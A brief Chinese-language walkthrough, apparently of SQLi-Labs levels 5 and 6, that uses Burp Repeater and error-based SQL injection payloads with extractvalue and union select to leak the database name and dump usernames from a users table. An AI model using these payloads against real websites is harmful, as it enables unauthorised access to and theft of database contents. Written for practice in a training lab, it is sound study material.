输入?id=1发现查看不了用户名
我们用burp写代码更方便,接下来就用burp抓包,发送到Repeater
我们既然在页面显示不了数据库名,就只能利用错误信息帮助我们判断数据库名是什么
输入?id=-1' union select 1,2,extractvalue(1, concat('%',database())) --+ 显示错误信息从而查看数据库名为:secuity
输入?id=-1' union select 1,2,extractvalue(1, concat('%',(select group_concat(username)from users))) --+ 查看用户名(这种方法只能查看32个字节的用户名)
less - 5完成
less - 6与 less - 5 相比只用把?id=1'改为?id=1"即可